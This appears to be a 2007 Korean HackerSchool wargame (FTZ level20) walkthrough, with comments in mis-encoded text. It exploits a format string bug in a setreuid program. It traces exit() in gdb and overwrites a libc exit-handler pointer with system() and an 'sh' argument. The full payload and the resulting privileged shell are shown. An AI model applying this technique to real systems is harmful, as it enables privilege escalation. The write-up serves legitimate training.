http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2593 [º¹»ç]
Âü°í ÀÚ·á : randomkid´Ô ÀڷḦ Âü°íÇÏ¿´½À´Ï´Ù.
** /// exitÇÔ¼öÀÇ Ãë¾àÁ¡À» ÀÌ¿ëÇÏ¿© exploit Çغ¸ÀÚ
/// Æ÷¸Ë½ºÆ®¸µ¹ö±×¸¦ ÀÌ¿ëÇÏ¿©
/// exitÇÔ¼öÁß <exit+109> call *0x4(%edx) ¿¡¼ ÇÔ¼ö¸¦ È£ÃâÇϴµ¥,
/// *0x4(%edx) (= %edx+4)ÀÇ °ªÀ» -- systemÇÔ¼ö ½ÃÀÛÁÖ¼Ò·Î ³Ö¾îÁÖ°í
/// "sh"¶ó´Â ¹®ÀÚ¿À» ÀÓÀÇÀÇ Àå¼Ò¿¡ ÀúÀåÇÑÈÄ
/// <exit+109>¿¡¼ ÇÔ¼ö¸¦ È£ÃâÇÒ¶§, ÀÎÀÚ°ªÀ¸·Î ³Ö¾îÁÖ´Â %edx+8À» "sh"¹®ÀÚ¿ÀÇ ÁÖ¼Ò·Î ³Ö¾îÁÖ¾î
/// exploitÀ» ½ÇÇàÇغ¸ÀÚ...
[level20@ftz in]$ cat ~/hint
#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
[level20@ftz in]$ ~/attackme
sssshhhh%8x%8x%8x%8x%8x
sssshhhh 4f401574604009d5007373737368686868
/// 79°³ÀÇ ¹®ÀÚ¿·Î ÀÌ·ç¾îÁø °ø°ÝÄÚµå·Î
/// printf¿¡¼ Æ÷¸Ë½ºÆ®¸µ ¹ö±×¸¦ ÀÌ¿ëÇÏ¿©,
/// ¿øÇÏ´Â ÁÖ¼ÒÀÇ °ªÀ» ¼öÁ¤ÇÒ¼ö ÀÖ´Ù.
[level20@ftz in]$ gdb -q ~/attackme
(gdb) br main
Breakpoint 1 at 0x80483be
(gdb) r
Starting program: /home/level20/attackme
Breakpoint 1, 0x080483be in main ()
(gdb) disass exit
Dump of assembler code for function exit:
0x4004d8d0 <exit+0>: push %ebp
0x4004d8d1 <exit+1>: mov %esp,%ebp
0x4004d8d3 <exit+3>: push %edi
0x4004d8d4 <exit+4>: push %esi
0x4004d8d5 <exit+5>: push %ebx
0x4004d8d6 <exit+6>: call 0x4003877d <__i686.get_pc_thunk.bx>
0x4004d8db <exit+11>: add $0x10b8e5,%ebx
0x4004d8e1 <exit+17>: sub $0xc,%esp
0x4004d8e4 <exit+20>: mov 0xffffebcc(%ebx),%ecx
0x4004d8ea <exit+26>: mov 0x8(%ebp),%edi
0x4004d8ed <exit+29>: test %ecx,%ecx
0x4004d8ef <exit+31>: je 0x4004d96d <exit+157>
0x4004d8f1 <exit+33>: jmp 0x4004d900 <exit+48>
0x4004d8f3 <exit+35>: nop
0x4004d8f4 <exit+36>: nop
0x4004d8f5 <exit+37>: nop
0x4004d8f6 <exit+38>: nop
0x4004d8f7 <exit+39>: nop
0x4004d8f8 <exit+40>: nop
0x4004d8f9 <exit+41>: nop
0x4004d8fa <exit+42>: nop
0x4004d8fb <exit+43>: nop
0x4004d8fc <exit+44>: nop
0x4004d8fd <exit+45>: nop
0x4004d8fe <exit+46>: nop
0x4004d8ff <exit+47>: nop
0x4004d900 <exit+48>: mov 0x4(%ecx),%eax
0x4004d903 <exit+51>: mov %ecx,%edx
0x4004d905 <exit+53>: test %eax,%eax
0x4004d907 <exit+55>: je 0x4004d94f <exit+127>
0x4004d909 <exit+57>: lea 0x0(%esi,1),%esi
0x4004d910 <exit+64>: mov 0x4(%edx),%eax
0x4004d913 <exit+67>: dec %eax
0x4004d914 <exit+68>: mov %eax,0x4(%edx)
0x4004d917 <exit+71>: shl $0x4,%eax
0x4004d91a <exit+74>: lea (%eax,%edx,1),%esi
0x4004d91d <exit+77>: mov 0x8(%esi),%eax
0x4004d920 <exit+80>: lea 0x8(%esi),%edx
0x4004d923 <exit+83>: cmp $0x4,%eax
0x4004d926 <exit+86>: ja 0x4004d946 <exit+118>
0x4004d928 <exit+88>: mov 0xfffefa48(%ebx,%eax,4),%eax
0x4004d92f <exit+95>: add %ebx,%eax
---Type <return> to continue, or q <return> to quit---
0x4004d931 <exit+97>: jmp *%eax
0x4004d933 <exit+99>: mov 0x8(%edx),%eax <--- ÇÔ¼ö¸¦ È£ÃâÇϱâÀü, $edx+8ÀÇ °ªÀ» $eax¿¡ ³Ö¾î¼, È£ÃâÇÒ ÇÔ¼ö°¡ »ç¿ëÇÒ ÀÎÀÚ·Î ¾´´Ù.
0x4004d936 <exit+102>: mov %edi,(%esp,1)
0x4004d939 <exit+105>: mov %eax,0x4(%esp,1)
0x4004d93d <exit+109>: call *0x4(%edx) <---- $edx+4¿¡ ÀúÀåµÇ¾îÀÖ´Â ÇÔ¼öÀÇ ÁÖ¼Ò°ªÀ» È£ÃâÇÑ´Ù
0x4004d940 <exit+112>: mov 0xffffebcc(%ebx),%ecx
0x4004d946 <exit+118>: mov 0x4(%ecx),%eax
0x4004d949 <exit+121>: mov %ecx,%edx
0x4004d94b <exit+123>: test %eax,%eax
0x4004d94d <exit+125>: jne 0x4004d910 <exit+64>
0x4004d94f <exit+127>: mov (%ecx),%edx
0x4004d951 <exit+129>: test %edx,%edx
0x4004d953 <exit+131>: mov %edx,0xffffebcc(%ebx)
0x4004d959 <exit+137>: je 0x4004d963 <exit+147>
0x4004d95b <exit+139>: mov %ecx,(%esp,1)
0x4004d95e <exit+142>: call 0x40038730 <_r_debug+142608>
0x4004d963 <exit+147>: mov 0xffffebcc(%ebx),%ecx
0x4004d969 <exit+153>: test %ecx,%ecx
0x4004d96b <exit+155>: jne 0x4004d900 <exit+48>
0x4004d96d <exit+157>: mov 0x1d0(%ebx),%esi
0x4004d973 <exit+163>: cmp 0x20c(%ebx),%esi
0x4004d979 <exit+169>: jae 0x4004d9a1 <exit+209>
0x4004d97b <exit+171>: nop
0x4004d97c <exit+172>: lea 0x0(%esi,1),%esi
0x4004d980 <exit+176>: call *(%esi)
0x4004d982 <exit+178>: add $0x4,%esi
0x4004d985 <exit+181>: cmp 0x20c(%ebx),%esi
0x4004d98b <exit+187>: jb 0x4004d980 <exit+176>
0x4004d98d <exit+189>: jmp 0x4004d9a1 <exit+209>
0x4004d98f <exit+191>: nop
0x4004d990 <exit+192>: call *0x4(%edx)
0x4004d993 <exit+195>: jmp 0x4004d940 <exit+112>
0x4004d995 <exit+197>: mov %edi,0x4(%esp,1)
0x4004d999 <exit+201>: mov 0x8(%edx),%eax
0x4004d99c <exit+204>: mov %eax,(%esp,1)
0x4004d99f <exit+207>: jmp 0x4004d93d <exit+109>
0x4004d9a1 <exit+209>: mov %edi,(%esp,1)
0x4004d9a4 <exit+212>: call 0x400d13ec <_exit>
0x4004d9a9 <exit+217>: nop
0x4004d9aa <exit+218>: nop
0x4004d9ab <exit+219>: nop
0x4004d9ac <exit+220>: nop
0x4004d9ad <exit+221>: nop
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) x/x $edx
0x401597b8 <initial+24>: 0x00000004
(gdb)
0x401597bc <initial+28>: 0x08048438 <---- <__libc_csu_fini> ÇÔ¼ö¸¦ °¡¸£Å°°í ÀÖ´Ù.
(gdb)
0x401597c0 <initial+32>: 0x00000000 <---- ÀÎÀÚ·Î »ç¿ëÇÒ °ªÀº ºñ¾îÀÖ´Ù.
(gdb)
0x401597c4 <initial+36>: 0x00000000
(gdb) x/x 0x08048438
0x8048438 <__libc_csu_fini>: 0x53e58955
(gdb)
0x804843c <__libc_csu_fini+4>: 0x94b8b850
(gdb)
(gdb) disass system
Dump of assembler code for function system:
0x40064430 <system+0>: push %ebp
0x40064431 <system+1>: mov %esp,%ebp
0x40064433 <system+3>: sub $0x18,%esp
0x40064436 <system+6>: mov %esi,0xfffffff8(%ebp)
0x40064439 <system+9>: mov 0x8(%ebp),%esi
0x4006443c <system+12>: mov %ebx,0xfffffff4(%ebp)
0x4006443f <system+15>: call 0x4003877d <__i686.get_pc_thunk.bx>
0x40064444 <system+20>: add $0xf4d7c,%ebx
0x4006444a <system+26>: mov %edi,0xfffffffc(%ebp)
0x4006444d <system+29>: test %esi,%esi
0x4006444f <system+31>: je 0x40064493 <system+99>
0x40064451 <system+33>: mov 0x2ba8(%ebx),%eax
0x40064457 <system+39>: test %eax,%eax
....
....
(gdb) x/20x 0x80495a0
0x80495a0 <_GLOBAL_OFFSET_TABLE_>: 0x080494c4 0x40015a38 0x4000bcb0 0x080482ce
0x80495b0 <_GLOBAL_OFFSET_TABLE_+16>: 0x40038850 0x080482ee 0x080482fe 0x00000000
0x80495c0 <stdin@@GLIBC_2.0>: 0x40157460 0x00000000 0x00000000 0x00000000
0x80495d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x80495e0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) <--- ºó°ø°£¿¡ "sh"¹®ÀÚ¿(s=73,h=68 /// 0x00006873 )À» ÀúÀåÇؼ »ç¿ëÇÑ´Ù.
/// ´ëÃæ 0x80495d0 ÁÖ¼Ò¿¡ ±â·ÏÇϱâ·Î Çß´Ù.
(gdb) shell
[level20@ftz in]$ ps
PID TTY TIME CMD
21023 pts/3 00:00:01 bash
15516 pts/3 00:00:00 gdb
15517 pts/3 00:00:00 attackme
22638 pts/3 00:00:00 bash
22667 pts/3 00:00:00 ps
[level20@ftz in]$ cat /proc/15517/maps
08048000-08049000 r-xp 00000000 03:02 212800 /home/level20/attackme
08049000-0804a000 rw-p 00000000 03:02 212800 /home/level20/attackme <---- ÀÌ ¸Þ¸ð¸®ºÎºÐÁß ºó°÷¿¡ "sh"¸¦ ±â·ÏÇÒ°ÍÀÌ´Ù.. (±Ùµ¥ ÀÌ°÷ ¹¹Çϴ°÷ÀÎÁö... Àúµµ Àß ¸ð¸£°Ú±º¿ä..)
40000000-40015000 r-xp 00000000 03:02 3482984 /lib/ld-2.3.2.so
40015000-40016000 rw-p 00014000 03:02 3482984 /lib/ld-2.3.2.so
40016000-40017000 rw-p 00000000 00:00 0
40023000-40156000 r-xp 00000000 03:02 3482991 /lib/libc-2.3.2.so
40156000-4015a000 rw-p 00132000 03:02 3482991 /lib/libc-2.3.2.so
4015a000-4015c000 rw-p 00000000 00:00 0
bfffe000-c0000000 rwxp fffff000 00:00 0
[level20@ftz in]$
--------------------------------------------------------------------------------------
1. 0x80495d0 ÁÖ¼Ò¿¡ 0x00006873¸¦ µ¤¾î¾´´Ù ("sh"¹®ÀÚ¿(s=73,h=68 /// 0x00006873 ))
2. 0x401597bc <initial+28> ¿¡ systemÇÔ¼öÀÇ ½ÃÀÛÁÖ¼Ò( 0x40064430 <system+0>)¸¦ µ¤¾î¾´´Ù
3. 0x401597c0 <initial+32> ¿¡ systemÇÔ¼ö¿¡¼ »ç¿ëÇÒ "ÀÎÀÚ"°ªÀÌ ÀúÀåµÈ ÁÖ¼Ò(0x80495d0) ¸¦ µ¤¾î¾´´Ù.
°ø°Ý´ë»ó ÇÁ·Î±×·¥ÀÌ 79°³ÀÇ ¹®ÀÚ¿¸¸ ¹Þ¾ÆµéÀ̹ǷÎ, 79byte°¡ ³ÑÁö ¾Ê°Ô °ø°ÝÄڵ带 ÀÛ¼ºÇؾßÇÑ´Ù.
//sh¹®ÀÚ¿(0x00006873 )
0x6873 = 26739
//systemÇÔ¼ö ½ÃÀÛÁÖ¼Ò(0x40064430)
0x4430 ----sh¹®ÀÚ¿º¸´Ù ÀÛÀº¼öÀ̹ǷÎ----> 0x14430=82992
0x4006 ----Á÷Àü0x14430º¸´Ù ÀÛÀº¼öÀ̹ǷÎ---> 0x24006=147462
//"ÀÎÀÚ"°ªÀÇ ÁÖ¼Ò°¡ ÀúÀåµÈ ÁÖ¼Ò(0x080495d0)
0x95d0 ----Á÷Àü0x24006º¸´Ù ÀÛÀº¼öÀ̹ǷÎ---> 0x295d0=169424
0x0804 ----Á÷Àü0x295d0º¸´Ù ÀÛÀº¼öÀ̹ǷÎ---> 0x30804=198660
"\xd0\x95\x04\x08" <--- sh¹®ÀÚ¿À» ±â·ÏÇÑ ºñ¾îÀÖ´Â ¸Þ¸ð¸®°ø°£ÀÇ ÁÖ¼Ò.
"\xbc\x97\x15\x40\xbe\x97\x15\x40" <--- exitÇÔ¼ö°¡ È£ÃâÇÒ ÁÖ¼Ò°¡ ÀúÀåµÇ´Â À§Ä¡($edx+4)
"\xc0\x97\x15\x40\xc2\x97\x15\x40" <--- È£ÃâµÇ´Â ÇÔ¼ö°¡ Àμö·Î »ç¿ëÇÏ´Â ÁÖ¼Ò($edx+8) // ¿©±â±îÁö 20byte
%26719x <---- sh¹®ÀÚ¿(0x6873)ÀÇ 10Áø¼ö°ª 26739 ¿¡¼, À§¿¡±îÁöÀÇ 20byte¸¦ »«¼ö /// 7byte
%4$hn <---- 4$¹ø°°ªÀÌ 0x080495d0À» °¡¸£Å°¸ç, %hn Æ÷¸Ë½ºÆ®¸µÀ¸·Î ÁÖ¼ÒÀÇ ³ôÀº°÷ºÎÅÍ ±â·ÏÇÑ´Ù. /// 5byte
%56253x <---- systemÇÔ¼öÀǽÃÀÛÁÖ¼ÒÁß Ã¹¹ø° °ª 82992¿¡¼ Á÷ÀüÀÇ 26739 ¸¦ »«°ª /// 7byte
%5$n <---- 5$¹ø°°ªÀÌ 0x401597bc¸¦ °¡¸£Å°¸ç, %n Æ÷¸Ë½ºÆ®¸µÀ¸·Î ÁÖ¼ÒÀÇ ³·Àº°÷ºÎÅÍ ±â·ÏÇÑ´Ù. /// 4byte
%64470x <---- systemÇÔ¼öÀǽÃÀÛÁÖ¼ÒÁß µÎ¹ø° °ª 147462¿¡¼ Á÷ÀüÀÇ 82992¸¦ »«°ª /// 7byte
%6$n <---- 6$¹ø°°ªÀÌ 0x401597be¸¦ °¡¸£Å°¸ç, %n Æ÷¸Ë½ºÆ®¸µÀ¸·Î ÁÖ¼ÒÀÇ ³·Àº°÷ºÎÅÍ ±â·ÏÇÑ´Ù. /// 4byte
%21962x <---- "ÀÎÀÚ"°ªÀÌ ÀúÀåµÈ ÁÖ¼ÒÀÇ Ã¹¹ø° °ª 169424 ¿¡¼ Á÷ÀüÀÇ 147462¸¦ »«°ª /// 7byte
%7$n <---- 7$¹ø°°ªÀÌ 0x401597c0À» °¡¸£Å°¸ç, %n Æ÷¸Ë½ºÆ®¸µÀ¸·Î ÁÖ¼ÒÀÇ ³·Àº°÷ºÎÅÍ ±â·ÏÇÑ´Ù. /// 4byte
%29236x <---- "ÀÎÀÚ"°ªÀÌ ÀúÀåµÈ ÁÖ¼ÒÀÇ µÎ¹ø° °ª 198660 ¿¡¼ Á÷ÀüÀÇ 169424¸¦ »«°ª /// 7byte
%8$n <---- 8$¹ø°°ªÀÌ 0x401597c2À» °¡¸£Å°¸ç, %n Æ÷¸Ë½ºÆ®¸µÀ¸·Î ÁÖ¼ÒÀÇ ³·Àº°÷ºÎÅÍ ±â·ÏÇÑ´Ù. /// 4byte
20+7+5+7+4+7+4+7+4+7+4=76byte ·Î °ø°ÝÄÚµå·Î ½áµµ ¹«¹æÇÏ´Ù.
¿Ï¼ºµÈ °ø°ÝÄÚµå
"\xd0\x95\x04\x08"+"\xbc\x97\x15\x40\xbe\x97\x15\x40"+"\xc0\x97\x15\x40\xc2\x97\x15\x40"+"%26719x%4$hn%56253x%5$n%64470x%6$n%21962x%7$n%29236x%8$n"
------------------------
[level20@ftz in]$ (python -c 'print "\xd0\x95\x04\x08"+"\xbc\x97\x15\x40\xbe\x97\x15\x40"+"\xc0\x97\x15\x40\xc2\x97\x15\x40"+"%26719x%4$hn%56253x%5$n%64470x%6$n%21962x%7$n%29236x%8$n"';cat) | ~/attackme
.......... ............
.......... ............ ........ 401597bc
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
clear Password is "********************************".
À¥¿¡¼ µî·ÏÇϼ¼¿ä.
* ÇØÄ¿½ºÄðÀÇ ¸ðµç ·¹º§À» Åë°úÇϽŠ°ÍÀ» ÃàÇϵ帳´Ï´Ù.
´ç½ÅÀÇ ²öÁú±ä ¿Á¤°ú ´É¼÷ÇÑ ¼Ø¾¾¿¡ Âù»ç¸¦ º¸³À´Ï´Ù.
ÇØÄ¿½ºÄð¿¡¼´Â ½Ç·ÂÀÖ´Â ºÐµéÀ» ¸ð¾Æ ¿¬±¸¼Ò¶ó´Â ±×·ìÀ» ¿î¿µÇÏ°í ÀÖ½À´Ï´Ù.
ÀÌ ¸Þ½ÃÁö¸¦ º¸½Ã´Â ºÐµé Áß¿¡ ¿¬±¸¼Ò¿¡ °ü½ÉÀÖÀ¸½Å ºÐÀº ÀÚÀ¯·Î¿î ¾ç½ÄÀÇ
°¡ÀÔ ½Åû¼¸¦ admin@hackerschool.org·Î º¸³»Áֽñ⠹ٶø´Ï´Ù.
-----------------------
°ø°Ý¿¡ ¼º°øÇÏ¿´´Ù.
Âü°í ÀÚ·á : randomkid´Ô ÀڷḦ Âü°íÇÏ¿´½À´Ï´Ù. ¿Ï¼Òrandomkid´Ô. ¤»¤»
|
Hit : 3422 Date : 2007/12/02 04:28
|